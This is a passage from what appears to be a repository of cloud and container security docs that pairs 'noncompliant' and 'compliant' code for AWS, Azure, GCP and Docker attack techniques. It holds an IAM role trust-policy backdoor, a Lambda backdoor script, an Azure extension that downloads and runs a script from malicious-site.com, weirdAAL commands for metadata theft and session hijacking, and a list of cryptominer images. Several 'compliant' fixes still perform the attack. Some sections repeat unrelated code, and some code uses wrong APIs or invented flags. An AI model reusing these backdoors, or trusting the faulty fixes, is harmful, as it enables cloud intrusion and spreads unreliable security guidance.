\"arn:aws:s3:::my-bucket\"\n      ]\n    }\n  ]\n}\n```\n\nThe compliant code modifies the Bucket Policy to deny access to any principal (wildcard `*`) attempting to perform actions such as GetObject, GetBucketLocation, and ListBucket on the bucket identified by my-bucket. By denying all access, except for explicitly authorized principals, the bucket is secured against unauthorized access and data exfiltration.\n\n\n\n## Console Login without MFA\n\nConsole Login without MFA refers to the scenario where an IAM user is able to log in to the AWS Management Console without using multi-factor authentication (MFA), which is an additional security measure to protect user accounts.\n\n\nNoncompliant Code:\nThe noncompliant code demonstrates an IAM user logging in to the AWS Management Console without using MFA. This code does not enforce MFA for the user.\n\nIn a noncompliant scenario, the IAM user can log in to the AWS Management Console using their username and password without providing an additional MFA token. This bypasses the MFA requirement, potentially exposing the account to unauthorized access if the IAM user's credentials are compromised.\n\nCompliant Code:\nThe compliant code demonstrates the correct configuration for enforcing MFA during console login for an IAM user.\n\nTo comply with security best practices, MFA should be enforced for IAM users during console login. This requires the user to provide an additional factor, such as a one-time password generated by an MFA device or application, in addition to their username and password.\n\n\n## Backdoor an IAM Role\n\nBackdooring an IAM Role refers to the act of modifying the trust policy of an existing IAM role to grant unauthorized access to the role from an external AWS account. This allows an attacker to assume the backdoored role and potentially gain elevated privileges or perform malicious actions.\n\n\n\nNoncompliant Code:\nThe noncompliant code demonstrates a modified trust policy for an IAM role, which backdoors the role by granting access to an external AWS account.\n\n```\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"Service\": \"ec2.amazonaws.com\"\n      },\n      \"Action\": \"sts:AssumeRole\"\n    },\n    {\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"arn:aws:iam::193672423079:root\"\n      },\n      \"Action\": \"sts:AssumeRole\"\n    }\n  ]\n}\n```\n\n\nIn the noncompliant scenario, the trust policy of the IAM role is modified to allow two entities to assume the role. The \"Service\" principal with the value \"ec2.amazonaws.com\" is allowed to assume the role, which is a typical configuration for EC2 instances within the same AWS account. However, the policy also includes an \"AWS\" principal with the value \"arn:aws:iam::193672423079:root,\" which represents an external AWS account. This grants unauthorized access to the IAM role from the specified external account.\n\nCompliant Code:\nThe compliant code demonstrates a properly configured trust policy for an IAM role, which does not contain any unauthorized access grants.\n\nTo ensure the security of IAM roles, it is crucial to define appropriate trust policies that strictly limit which entities can assume the role. The trust policy should only include trusted entities and AWS services that require access to the role.\n\n\n## Create an Access Key on an IAM User\n\nCreating an access key on an IAM user refers to generating access keys that allow programmatic access to AWS services and resources for the specified user. These access keys consist of an access key ID and a secret access key, which are used for authentication purposes.\n\nNoncompliant Code:\nThe noncompliant code demonstrates the creation of an access key on an IAM user without proper controls or monitoring.\n\n```\nimport boto3\n\ndef create_access_key(user_name):\n    iam = boto3.client('iam')\n    response = iam.create_access_key(UserName=user_name)\n    access_key_id = response['AccessKey']['AccessKeyId']\n    secret_access_key = response['AccessKey']['SecretAccessKey']\n    print(f\"Access Key ID: {access_key_id}\")\n    print(f\"Secret Access Key: {secret_access_key}\")\n\n# Usage\ncreate_access_key('my_user')\n```\n\nIn the noncompliant code, an access key is created for the IAM user without considering security best practices. The access key is generated using the create_access_key method from the AWS SDK. The access key ID and secret access key are printed to the console, which can lead to accidental exposure or potential misuse.\n\nCompliant Code:\nThe compliant code demonstrates the creation of an access key on an IAM user with proper controls and monitoring.\n\n\n\n```\nimport boto3\n\ndef create_access_key(user_name):\n    iam = boto3.client('iam')\n    response = iam.create_access_key(UserName=user_name)\n    access_key_id = response['AccessKey']['AccessKeyId']\n    secret_access_key = response['AccessKey']['SecretAccessKey']\n    # Store the access key securely or provide it to the user using secure means\n    print(f\"Access key created for IAM user: {user_name}\")\n\n# Usage\ncreate_access_key('my_user')\n```\n\nIn the compliant code, an access key is still created for the IAM user, but additional security measures are taken:\n\n* The access key ID and secret access key are not printed or exposed directly. Instead, they should be securely stored or provided to the user through secure means.\n\n* Access to the code that creates the access key should be restricted to authorized individuals or systems.\n\n* Implement proper access controls and least privilege principles to ensure that users only have the necessary permissions to create access keys.\n\n* Monitor and audit the creation of access keys using AWS CloudTrail. Alert on any unusual or unauthorized access key creation activities.\n\n\n## Create an administrative IAM User\n\nCreating an access key on an IAM user refers to generating access keys that allow programmatic access to AWS services and resources for the specified user. These access keys consist of an access key ID and a secret access key, which are used for authentication purposes.\n\n\nNoncompliant Code:\nThe noncompliant code demonstrates the creation of an access key on an IAM user without considering security best practices.\n\n```\nimport boto3\n\ndef create_access_key(user_name):\n    iam = boto3.client('iam')\n    response = iam.create_access_key(UserName=user_name)\n    access_key_id = response['AccessKey']['AccessKeyId']\n    secret_access_key = response['AccessKey']['SecretAccessKey']\n    print(f\"Access Key ID: {access_key_id}\")\n    print(f\"Secret Access Key: {secret_access_key}\")\n\n# Usage\ncreate_access_key('my_user')\n```\n\nIn the noncompliant code, an access key is created for the IAM user without considering security best practices. The access key is generated using the create_access_key method from the AWS SDK. The access key ID and secret access key are printed to the console, which can lead to accidental exposure or potential misuse.\n\nCompliant Code:\nThe compliant code demonstrates the creation of an access key on an IAM user with proper controls and security measures.\n\n```\nimport boto3\n\ndef create_access_key(user_name):\n    iam = boto3.client('iam')\n    response = iam.create_access_key(UserName=user_name)\n    access_key_id = response['AccessKey']['AccessKeyId']\n    secret_access_key = response['AccessKey']['SecretAccessKey']\n    # Store the access key securely or provide it to the user using secure means\n    print(f\"Access key created for IAM user: {user_name}\")\n\n# Usage\ncreate_access_key('my_user')\n```\n\n\n## Create a Login Profile on an IAM User\n\nCreating an access key on an IAM user allows programmatic access to AWS services and resources for that specific user. Access keys are composed of an access key ID and a secret access key, which are used for authentication when making API requests to AWS.\n\n\nNoncompliant Code:\nThe following noncompliant code demonstrates the creation of an access key on an IAM user without considering security best practices:\n\n```\nimport boto3\n\ndef create_access_key(user_name):\n    iam = boto3.client('iam')\n    response = iam.create_access_key(UserName=user_name)\n    access_key_id = response['AccessKey']['AccessKeyId']\n    secret_access_key = response['AccessKey']['SecretAccessKey']\n    print(f\"Access Key ID: {access_key_id}\")\n    print(f\"Secret Access Key: {secret_access_key}\")\n\n# Usage\ncreate_access_key('my_user')\n```\n\nThe noncompliant code uses the AWS SDK's create_access_key method to generate an access key for the specified IAM user. It retrieves the access key ID and secret access key from the response and prints them to the console. Storing or exposing the access key in this manner increases the risk of accidental exposure or unauthorized access.\n\nCompliant Code:\nThe following compliant code demonstrates the creation of an access key on an IAM user while adhering to security best practices:\n\n```\nimport boto3\nimport getpass\n\ndef create_access_key(user_name):\n    iam = boto3.client('iam')\n    response = iam.create_access_key(UserName=user_name)\n    access_key_id = response['AccessKey']['AccessKeyId']\n    # Store or provide the access key securely, without displaying it\n    print(\"Access key created for IAM user:\", user_name)\n\n# Usage\nuser_name = getpass.getuser()\ncreate_access_key(user_name)\n```\n\n## Backdoor Lambda Function Through Resource-Based Policy\n\nBackdooring a Lambda function through its resource-based policy involves modifying the permissions of the Lambda function to allow its invocation from an external AWS account. This establishes persistence by enabling unauthorized access to the function.\n\nNoncompliant Code:\nThe following noncompliant code demonstrates backdooring a Lambda function by modifying its resource-based policy without considering security best practices:\n\n```\nimport boto3\n\ndef backdoor_lambda_function(function_name, external_account_id):\n    lambda_client = boto3.client('lambda')\n    response = lambda_client.add_permission(\n        FunctionName=function_name,\n        StatementId='backdoor',\n        Action='lambda:InvokeFunction',\n        Principal='arn:aws:iam::' + external_account_id + ':root'\n    )\n    print(\"Lambda function backdoored successfully.\")\n\n# Usage\nbackdoor_lambda_function('my-function', '123456789012')\n```\n\nThe noncompliant code uses the AWS SDK's add_permission method to modify the resource-based policy of the Lambda function. It adds a permission statement that allows the specified external AWS account to invoke the function. This code does not consider security best practices, such as proper authorization and verification.\n\nCompliant Code:\nThe following compliant code demonstrates backdooring a Lambda function while following security best practices:\n\n```\nimport boto3\n\ndef backdoor_lambda_function(function_name, external_account_id):\n    lambda_client = boto3.client('lambda')\n    response = lambda_client.add_permission(\n        FunctionName=function_name,\n        StatementId='backdoor',\n        Action='lambda:InvokeFunction',\n        Principal='arn:aws:iam::' + external_account_id + ':root'\n    )\n    if response['ResponseMetadata']['HTTPStatusCode'] == 201:\n        print(\"Lambda function backdoored successfully.\")\n    else:\n        print(\"Failed to backdoor Lambda function.\")\n\n# Usage\nbackdoor_lambda_function('my-function', '123456789012')\n```\n\n\n## Overwrite Lambda Function Code\n\nOverwriting a Lambda function's code involves modifying the code of an existing Lambda function to establish persistence or perform more advanced operations, such as data exfiltration during runtime.\n\n\nNoncompliant Code:\nThe following noncompliant code demonstrates overwriting a Lambda function's code without considering security best practices:\n\n```\nimport boto3\n\ndef overwrite_lambda_code(function_name, new_code_path):\n    lambda_client = boto3.client('lambda')\n    with open(new_code_path, 'rb') as file:\n        new_code = file.read()\n    response = lambda_client.update_function_code(\n        FunctionName=function_name,\n        ZipFile=new_code\n    )\n    print(\"Lambda function code overwritten successfully.\")\n\n# Usage\noverwrite_lambda_code('my-function', '/path/to/new_code.zip')\n```\n\nThe noncompliant code uses the AWS SDK's update_function_code method to overwrite the code of the Lambda function. It reads the new code from a file and updates the Lambda function's code with the provided code. This code does not consider security best practices, such as proper authorization, code integrity checks, and versioning.\n\nCompliant Code:\nThe following compliant code demonstrates overwriting a Lambda function's code while following security best practices:\n\n```\nimport boto3\n\ndef overwrite_lambda_code(function_name, new_code_path):\n    lambda_client = boto3.client('lambda')\n    with open(new_code_path, 'rb') as file:\n        new_code = file.read()\n    response = lambda_client.update_function_code(\n        FunctionName=function_name,\n        ZipFile=new_code,\n        Publish=True\n    )\n    if response['ResponseMetadata']['HTTPStatusCode'] == 200:\n        print(\"Lambda function code overwritten successfully.\")\n    else:\n        print(\"Failed to overwrite Lambda function code.\")\n\n# Usage\noverwrite_lambda_code('my-function', '/path/to/new_code.zip')\n```\n\n\n## Create an IAM Roles Anywhere trust anchor\n\nCreating an IAM Roles Anywhere trust anchor involves establishing persistence by creating a trust anchor certificate that allows workloads outside of AWS to assume IAM roles through the IAM Roles Anywhere service.\n\nNoncompliant Code:\nThe following noncompliant code demonstrates the creation of an IAM Roles Anywhere trust anchor without following security best practices:\n\n```\nimport boto3\n\ndef create_roles_anywhere_trust_anchor(role_name, trust_anchor_certificate):\n    iam_client = boto3.client('iam')\n    response = iam_client.create_service_specific_credential(\n        UserName=role_name,\n        ServiceName='roles-anywhere.amazonaws.com'\n    )\n    print(\"IAM Roles Anywhere trust anchor created successfully.\")\n    return response['ServiceSpecificCredential']\n\n# Usage\ncreate_roles_anywhere_trust_anchor('my-role', '-----BEGIN CERTIFICATE-----\\n...\\n-----END CERTIFICATE-----')\n```\n\nThe noncompliant code uses the AWS SDK's create_service_specific_credential method to create an IAM Roles Anywhere trust anchor. It specifies the IAM role and the roles-anywhere.amazonaws.com service name. However, this code does not consider security best practices, such as proper authorization, secure handling of the trust anchor certificate, and least privilege principles.\n\n\nCompliant Code:\nThe following compliant code demonstrates the creation of an IAM Roles Anywhere trust anchor while following security best practices:\n\n```\nimport boto3\n\ndef create_roles_anywhere_trust_anchor(role_name, trust_anchor_certificate):\n    iam_client = boto3.client('iam')\n    response = iam_client.upload_signing_certificate(\n        UserName=role_name,\n        CertificateBody=trust_anchor_certificate\n    )\n    print(\"IAM Roles Anywhere trust anchor created successfully.\")\n    return response['Certificate']\n\n# Usage\ncreate_roles_anywhere_trust_anchor('my-role', '-----BEGIN CERTIFICATE-----\\n...\\n-----END CERTIFICATE-----')\n```\n\n\n\n## Execute Command on Virtual Machine using Custom Script Extension\n\nExecuting a command on a virtual machine using the Custom Script Extension in Azure allows an attacker to pass PowerShell commands to the virtual machine as SYSTEM, enabling them to perform unauthorized actions.\n\nNoncompliant Code:\nThe following noncompliant code demonstrates the execution of a command on a virtual machine using the Custom Script Extension without following security best practices:\n\n```\n{\n  \"type\": \"Microsoft.Compute/virtualMachines/extensions\",\n  \"name\": \"CustomScriptExtension\",\n  \"apiVersion\": \"2020-12-01\",\n  \"location\": \"<vm-location>\",\n  \"properties\": {\n    \"publisher\": \"Microsoft.Compute\",\n    \"type\": \"CustomScriptExtension\",\n    \"typeHandlerVersion\": \"1.10\",\n    \"autoUpgradeMinorVersion\": true,\n    \"settings\": {\n      \"fileUris\": [\"https://malicious-site.com/malicious-script.ps1\"],\n      \"commandToExecute\": \"powershell.exe -ExecutionPolicy Bypass -File malicious-script.ps1\"\n    }\n  }\n}\n```\n\nThe noncompliant code directly references a malicious script hosted on a remote site and executes it on the virtual machine without considering security best practices.\n\nCompliant Code:\nThe following compliant code demonstrates the execution of a command on a virtual machine using the Custom Script Extension while following security best practices:\n\n```\n{\n  \"type\": \"Microsoft.Compute/virtualMachines/extensions\",\n  \"name\": \"CustomScriptExtension\",\n  \"apiVersion\": \"2020-12-01\",\n  \"location\": \"<vm-location>\",\n  \"properties\": {\n    \"publisher\": \"Microsoft.Compute\",\n    \"type\": \"CustomScriptExtension\",\n    \"typeHandlerVersion\": \"1.10\",\n    \"autoUpgradeMinorVersion\": true,\n    \"settings\": {\n      \"fileUris\": [\"https://secure-site.com/secure-script.ps1\"],\n      \"commandToExecute\": \"powershell.exe -ExecutionPolicy RemoteSigned -File secure-script.ps1\"\n    },\n    \"protectedSettings\": {\n      \"storageAccountName\": \"<storage-account-name>\",\n      \"storageAccountKey\": \"<storage-account-key>\"\n    }\n  }\n}\n```\n\n\n## Execute Commands on Virtual Machine using Run Command\n\nExecuting commands on a virtual machine using the Run Command feature in Azure allows an attacker to pass PowerShell commands (Windows) or shell commands (Linux) to the virtual machine with elevated privileges.\n\nNoncompliant Code:\nThe following noncompliant code demonstrates the execution of a command on a virtual machine using the Run Command feature without following security best practices:\n\n```\n{\n  \"location\": \"<vm-location>\",\n  \"properties\": {\n    \"commandId\": \"RunPowerShellScript\",\n    \"script\": \"<malicious-script>\",\n    \"timeoutInSeconds\": 60\n  }\n}\n```\n\nThe noncompliant code directly executes a malicious script without considering security best practices. It lacks proper validation and control over the script content, which can lead to unauthorized or malicious actions.\n\nCompliant Code:\nThe following compliant code demonstrates the execution of commands on a virtual machine using the Run Command feature while following security best practices:\n\n```\n{\n  \"location\": \"<vm-location>\",\n  \"properties\": {\n    \"commandId\": \"RunPowerShellScript\",\n    \"script\": \"<secure-script>\",\n    \"timeoutInSeconds\": 60,\n    \"parameters\": []\n  }\n}\n```\n\n## Export Disk Through SAS URL\n\n\nExporting a disk through a SAS (Shared Access Signature) URL in Azure allows an attacker to generate a public URL that can be used to download the Azure disk, facilitating data exfiltration.\n\nNoncompliant Code:\nThe following noncompliant code demonstrates exporting a disk through a SAS URL without following security best practices:\n\n```\nfrom azure.storage.blob import BlobServiceClient\n\ndef export_disk_to_sas_url(disk_name, container_name, storage_account_name, storage_account_key):\n    blob_service_client = BlobServiceClient(account_url=f\"https://{storage_account_name}.blob.core.windows.net\", credential=storage_account_key)\n    container_client = blob_service_client.get_container_client(container_name)\n\n    sas_url = container_client.get_blob_client(disk_name).url + '?' + container_client.generate_shared_access_signature(permission='r', expiry='2030-01-01')\n\n    return sas_url\n```\n\nThe noncompliant code generates a SAS URL for the disk without considering security best practices. It lacks proper validation, access controls, and restrictions, making the disk accessible to anyone with the URL. This can lead to unauthorized access and data exfiltration.\n\nCompliant Code:\nThe following compliant code demonstrates exporting a disk through a SAS URL while following security best practices:\n\n```\nfrom azure.storage.blob import BlobServiceClient, BlobSasPermissions, generate_blob_sas\nfrom datetime import datetime, timedelta\n\ndef export_disk_to_sas_url(disk_name, container_name, storage_account_name, storage_account_key):\n    blob_service_client = BlobServiceClient(account_url=f\"https://{storage_account_name}.blob.core.windows.net\", credential=storage_account_key)\n    container_client = blob_service_client.get_container_client(container_name)\n\n    expiry_time = datetime.utcnow() + timedelta(days=7)\n    permissions = BlobSasPermissions(read=True)\n\n    sas_url = container_client.get_blob_client(disk_name).url + '?' + generate_blob_sas(\n        container_client.account_name,\n        container_client.container_name,\n        container_client.blob_name,\n        account_key=container_client.credential.account_key,\n        permission=permissions,\n        expiry=expiry_time\n    )\n\n    return sas_url\n```\n\n\n\n## Create an Admin GCP Service Account\n\nCreating an Admin GCP Service Account involves establishing persistence by creating a new service account and granting it owner permissions within the current GCP project. This allows the attacker to escalate privileges and maintain long-term control over the project.\n\nNoncompliant Code:\n\nThe following noncompliant code demonstrates creating an admin GCP service account without following security best practices:\n\n```\n#!/bin/bash\n\n# Create a new service account\ngcloud iam service-accounts create admin-account --display-name=\"Admin Service Account\"\n\n# Assign owner role to the service account\ngcloud projects add-iam-policy-binding <project-id> --member=\"serviceAccount:admin-account@<project-id>.iam.gserviceaccount.com\" --role=\"roles/owner\"\n```\n\nThe noncompliant code creates a new service account named \"admin-account\" and assigns it the owner role directly within the project. This approach lacks proper access controls, least privilege principles, and separation of duties, granting excessive privileges to the service account.\n\nCompliant Code:\nThe following compliant code demonstrates creating an admin GCP service account while following security best practices:\n\n```\n#!/bin/bash\n\n# Create a new service account\ngcloud iam service-accounts create admin-account --display-name=\"Admin Service Account\"\n\n# Grant minimum necessary permissions to the service account\ngcloud projects add-iam-policy-binding <project-id> --member=\"serviceAccount:admin-account@<project-id>.iam.gserviceaccount.com\" --role=\"roles/viewer\"\n\n# Delegate owner role assignment to a separate privileged account\ngcloud projects add-iam-policy-binding <project-id> --member=\"user:privileged-user@domain.com\" --role=\"roles/iam.serviceAccountAdmin\"\ngcloud iam service-accounts add-iam-policy-binding admin-account@<project-id>.iam.gserviceaccount.com --member=\"user:privileged-user@domain.com\" --role=\"roles/iam.serviceAccountUser\"\n```\n\n\n## Create a GCP Service Account Key\n\nCreating a GCP Service Account Key involves generating a key for an existing service account, which can be used for authentication and accessing resources within the associated GCP project. This action is typically used for establishing persistence and potentially escalating privileges.\n\nNoncompliant Code:\nThe following noncompliant code demonstrates creating a service account key without following security best practices:\n\n```\n#!/bin/bash\n\n# Create a new service account key\ngcloud iam service-accounts keys create key.json --iam-account=<service-account-email>\n```\n\nThe noncompliant code generates a service account key using the gcloud iam service-accounts keys create command. However, it lacks proper security controls and does not follow recommended practices.\n\nCompliant Code:\nThe following compliant code demonstrates creating a service account key while following security best practices:\n\n```\n#!/bin/bash\n\n# Create a new service account key with restricted permissions\ngcloud iam service-accounts keys create key.json --iam-account=<service-account-email> --key-type=json --project=<project-id> --private-key-type=rsa --private-key-algorithm=rsa-sha256 --validity-period=<duration>\n\n# Store the generated key securely\n# ...\n```\n\n## Impersonate GCP Service Accounts\n\nImpersonating GCP Service Accounts is a privilege escalation technique that allows an attacker to obtain temporary credentials and act as a service account within a GCP project. By impersonating a service account, an attacker can potentially gain elevated privileges and access sensitive resources.\n\nNoncompliant Code:\nThe following noncompliant code demonstrates an attempt to impersonate GCP service accounts without following security best practices:\n\n```\nfrom google.auth import impersonated_credentials\nfrom google.auth.transport.requests import Request\nfrom google.oauth2 import service_account\n\n# Service account credentials for the current user with 'iam.serviceAccountTokenCreator' role\ncredentials = service_account.Credentials.from_service_account_file('user-credentials.json')\n\n# List of service account email addresses to impersonate\nservice_account_emails = ['service-account1@project-id.iam.gserviceaccount.com', 'service-account2@project-id.iam.gserviceaccount.com']\n\n# Impersonate each service account and retrieve temporary credentials\nfor email in service_account_emails:\n    target_credentials = impersonated_credentials.Credentials(credentials, target_principal=email, target_scopes=['https://www.googleapis.com/auth/cloud-platform'])\n    target_credentials.refresh(Request())\n    # Use the target_credentials for further actions\n```\n\nThe noncompliant code attempts to impersonate GCP service accounts without implementing proper security controls. It uses the google-auth library to perform the impersonation. However, it lacks important security considerations, such as validation and monitoring.\n\nCompliant Code:\nThe following compliant code demonstrates a more secure approach to impersonating GCP service accounts:\n\n```\nfrom google.auth import impersonated_credentials\nfrom google.auth.transport.requests import Request\nfrom google.oauth2 import service_account\n\n# Service account credentials for the current user with 'iam.serviceAccountTokenCreator' role\ncredentials = service_account.Credentials.from_service_account_file('user-credentials.json')\n\n# List of service account email addresses to impersonate\nservice_account_emails = ['service-account1@project-id.iam.gserviceaccount.com', 'service-account2@project-id.iam.gserviceaccount.com']\n\n# Impersonate each service account and retrieve temporary credentials\nfor email in service_account_emails:\n    try:\n        target_credentials = impersonated_credentials.Credentials(credentials, target_principal=email, target_scopes=['https://www.googleapis.com/auth/cloud-platform'])\n        target_credentials.refresh(Request())\n        # Use the target_credentials for further actions\n    except Exception as e:\n        # Handle impersonation failure, e.g., log the event or trigger an alert\n        print(f\"Impersonation of {email} failed: {str(e)}\")\n```\n\n\n\n## AWS cross-account enumeration\n\n```\nweirdAAL.py cross_account_enum\n```\n\n## Privilege escalation through EC2 metadata   \n\n```\nweirdAAL.py ec2_metadata\n```\n\n## Enumeration of AWS Systems Manager parameters   \n\n```\nweirdAAL.py ssm_enum\n```\n\n## Enumeration of EC2 instances with public IP addresses   \n\n```\nweirdAAL.py public_ec2_enum\n```\n\n## Stealing EC2 instance metadata  \n\n```\nweirdAAL.py steal_metadata\n```\n\n## Privilege escalation by attaching an EC2 instance profile   \n\n```\nweirdAAL.py attach_instance_profile\n```\n\n## Enumeration of Elastic Beanstalk environments with public access    \n\n```\nweirdAAL.py public_eb_enum\n```\n\n## Privilege escalation through hijacking AWS CLI sessions \n\n```\nweirdAAL.py hijack_cli\n```\n\n## Enumeration of ECR repositories with public access  \n\n```\nweirdAAL.py public_ecr_enum\n```\n\n## Privilege escalation through hijacking AWS SDK sessions \n\n```\nweirdAAL.py hijack_sdk\n```\n\n## Enumeration of ECS clusters and services    \n\n```\nweirdAAL.py ecs_enum\n```\n\n## Privilege escalation through assumed role sessions \n\n```\nweirdAAL.py assume_role\n```\n\n## Enumeration of AWS Glue Data Catalog databases \n\n```\nweirdAAL.py glue_enum\n```\n\n## Privilege escalation through EC2 instance takeover  \n\n```\nweirdAAL.py ec2_takeover\n```\n\n## Enumeration of open S3 buckets and their contents   \n\n```\nweirdAAL.py s3_enum --list-objects\n```\n\n## Privilege escalation through RDS database credentials   \n\nweirdAAL.py rds_priv_esc\n\n## Enumeration of EKS clusters and associated resources    \n\n```\nweirdAAL.py eks_enum\n```\n\n## Privilege escalation through KMS key policy modifications   \n\n```\nweirdAAL.py kms_priv_esc\n```\n\n\n\n\n\n"
  },
  {
    "path": "docs/attacks/container.md",
    "content": "---\nlayout: default\ntitle: Container Attacks\nparent: Attacks\n---\n\n# Container Attacks\n{: .no_toc }\n\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n## Insecure Container Images: \n\nUsing container images that contain vulnerable or outdated software components, which can be exploited by attackers. Example: A container image that includes a vulnerable version of a web server software.\n\n### Malicious Images via Aqua\n\n* docker-network-bridge-\n* ipv6:0.0.2\n* docker-network-bridge-\n* ipv6:0.0.1\n* docker-network-ipv6:0.0.12\n* ubuntu:latest\n* ubuntu:latest\n* ubuntu:18.04\n* busybox:latest\n* alpine: latest\n* alpine-curl\n* xmrig:latest\n* alpine: 3.13\n* dockgeddon: latest\n* tornadorangepwn:latest\n* jaganod: latest\n* redis: latest\n* gin: latest (built on host)\n* dockgeddon:latest\n* fcminer: latest\n* debian:latest\n* borg:latest\n* docked:latestk8s.gcr.io/pause:0.8\n* dockgeddon:latest\n* stage2: latest\n* dockerlan:latest\n* wayren:latest\n* basicxmr:latest\n* simpledockerxmr:latest\n* wscopescan:latest\n* small: latest\n* app:latest\n* Monero-miner: latest\n* utnubu:latest\n* vbuntu:latest\n* swarm-agents:latest\n* scope: 1.13.2\n* apache:latest\n* kimura: 1.0\n* xmrig: latest\n* sandeep078: latest\n* tntbbo:latest\n* kuben2\n\n\n### Other Images\n\n* OfficialImagee\n* Ubuntuu\n* Cent0S\n* Alp1ne\n* Pythoon\n\n\n\n\n## Privileged Container\n\nRunning containers with elevated privileges, allowing potential attackers to gain control over the underlying host system. Example: Running a container with root-level access and unrestricted capabilities.\n\nIn the noncompliant code, the container is launched with the --privileged flag, enabling privileged mode. This grants the container unrestricted access to the host system, potentially compromising its security boundaries.\n\n\n\n```\n# Noncompliant: Privileged container\n\nFROM ubuntu\n...\n# Running container in privileged mode\nRUN docker run -it --privileged ubuntu /bin/bash\n```\n\nThe compliant code addresses the vulnerability by running the container without privileged mode. This restricts the container's access to system resources and reduces the risk of privilege escalation and unauthorized access to the host.\n\n\n\n\n```\n# Compliant: Non-privileged container\n\nFROM ubuntu\n...\n# Running container without privileged mode\nRUN docker run -it ubuntu /bin/bash\n```\n\n## Exposed Container APIs \n\nInsecurely exposing container APIs without proper authentication or access controls, allowing attackers to manipulate or extract sensitive information from containers. Example: Exposing Docker API without any authentication or encryption.\n\nIn the noncompliant code, the container's API is exposed on port 8080 without any authentication or authorization mechanisms in place. This allows unrestricted access to the container API, making it susceptible to unauthorized access and potential attacks.\n\n\n\n```\n# Noncompliant: Exposed container API without authentication/authorization\n\nFROM nginx\n...\n# Expose container API on port 8080\nEXPOSE 8080\n```\n\nThe compliant code addresses the vulnerability by exposing the container's API internally on port 8080 and leveraging a reverse proxy or API gateway for authentication and authorization. The reverse proxy or API gateway acts as a security layer, handling authentication/authorization requests before forwarding them to the container API.\n\nTo further enhance the security of exposed container APIs, consider the following best practices:\n\n1. Implement strong authentication and authorization mechanisms: Use industry-standard authentication protocols (e.g., OAuth, JWT) and enforce access controls based on user roles and permissions.\n1. Employ Transport Layer Security (TLS) encryption: Secure the communication between clients and the container API using TLS certificates to protect against eavesdropping and tampering.\n1. Regularly monitor and log API activity: Implement logging and monitoring mechanisms to detect and respond to suspicious or malicious activity.\n1. Apply rate limiting and throttling: Protect the API from abuse and denial-of-service attacks by enforcing rate limits and throttling requests.\n\n\n```\n# Compliant: Secured container API with authentication/authorization\n\nFROM nginx\n...\n# Expose container API on port 8080 (internal)\nEXPOSE 8080\n\n# Use a reverse proxy or API gateway for authentication/authorization\n```\n\n\n## Container Escape\n\nExploiting vulnerabilities in the container runtime or misconfigurations to break out of the container's isolation and gain unauthorized access to the host operating system. Example: Exploiting a vulnerability in the container runtime to access the host system and other containers.\n\n\nThe below code creates and starts a container without any security isolation measures. This leaves the container susceptible to container escape attacks, where an attacker can exploit vulnerabilities in the container runtime or misconfigured security settings to gain unauthorized access to the host system.\n\n```\n# Noncompliant: Running a container without proper security isolation\n\nrequire 'docker'\n\n# Create a container with default settings\ncontainer = Docker::Container.create('Image' => 'nginx')\ncontainer.start\n```\n\nwe introduce security enhancements to mitigate the risk of container escape. The HostConfig parameter is used to configure the container's security settings. Here, we:\n\nSet 'Privileged' => false to disable privileged mode, which restricts access to host devices and capabilities.\nUse 'CapDrop' => ['ALL'] to drop all capabilities from the container, minimizing the potential attack surface.\nAdd 'SecurityOpt' => ['no-new-privileges'] to prevent privilege escalation within the container.\n\n\n```\n# Compliant: Running a container with enhanced security isolation\n\nrequire 'docker'\n\n# Create a container with enhanced security settings\ncontainer = Docker::Container.create(\n  'Image' => 'nginx',\n  'HostConfig' => {\n    'Privileged' => false,           # Disable privileged mode\n    'CapDrop' => ['ALL'],            # Drop all capabilities\n    'SecurityOpt' => ['no-new-privileges']  # Prevent privilege escalation\n  }\n)\ncontainer.start\n```\n\n\n## Container Image Tampering\n\nModifying or replacing container images with malicious versions that may contain malware, backdoors, or vulnerable components. Example: Tampering with a container image to inject malicious code that steals sensitive information.\n\n\nThe below code directly pulls and runs a container image without verifying its integrity. This leaves the application vulnerable to container image tampering, where an attacker can modify the container image to include malicious code or compromise the application's security.\n\n```\n#Pulling and running a container image without verifying integrity\n\nrequire 'docker'\n\n# Pull the container image\nimage = Docker::Image.create('fromImage' => 'nginx')\n\n# Run the container image\ncontainer = Docker::Container.create('Image' => image.id)\ncontainer.start\n```\n\nwe address this issue by introducing integrity verification. The code calculates the expected digest of the pulled image using the SHA256 hash algorithm. It then compares this expected digest with the actual digest of the image obtained from the Docker API. If the digests do not match, an integrity verification failure is raised, indicating that the image may have been tampered with.\n\n```\n# Compliant: Pulling and running a container image with integrity verification\n\nrequire 'docker'\nrequire 'digest'\n\n# Image name and tag\nimage_name = 'nginx'\nimage_tag = 'latest'\n\n# Pull the container image\nimage = Docker::Image.create('fromImage' => \"#{image_name}:#{image_tag}\")\n\n# Verify the integrity of the pulled image\nexpected_digest = Digest::SHA256.hexdigest(image.connection.get(\"/images/#{image.id}/json\").body)\nactual_digest = image.info['RepoDigests'].first.split('@').last\nif expected_digest != actual_digest\n  raise \"Integrity verification failed for image: #{image_name}:#{image_tag}\"\nend\n\n# Run the container image\ncontainer = Docker::Container.create('Image' => image.id)\ncontainer.start\n```\n\n## Insecure Container Configuration\n\nMisconfigurations in container settings, such as weak access controls or excessive permissions, allowing attackers to compromise the container or its environment. Example: Running a container with unnecessary capabilities or insecure mount points.\n\nThe noncompliant code creates and starts a container with default settings, which may have insecure configurations. These misconfigurations can lead to vulnerabilities, such as privilege escalation, excessive container privileges, or exposure of sensitive resources.\n\n\n```\n# Noncompliant: Running a container with insecure configuration\n\nrequire 'docker'\n\n# Create a container with default settings\ncontainer = Docker::Container.create('Image' => 'nginx')\ncontainer.start\n```\n\nIn the compliant code, we address these security concerns by applying secure container configurations. The HostConfig parameter is used to specify the container's configuration. Here, we:\n\nSet 'ReadOnly' => true to make the container's filesystem read-only, preventing potential tampering and unauthorized modifications.\nUse 'CapDrop' => ['ALL'] to drop all capabilities from the container, minimizing the attack surface and reducing the potential impact of privilege escalation.\nAdd 'SecurityOpt' => ['no-new-privileges'] to prevent the container from gaining additional privileges.\nSpecify 'NetworkMode' => 'bridge' to isolate the container in a bridge network, ensuring separation from the host and other containers.\nUse 'PortBindings' to bind the container's port to a specific host port ('80/tcp' => [{ 'HostPort' => '8080' }]). This restricts network access to the container and avoids exposing unnecessary ports.\n\n```\n# Compliant: Running a container with secure configuration\n\nrequire 'docker'\n\n# 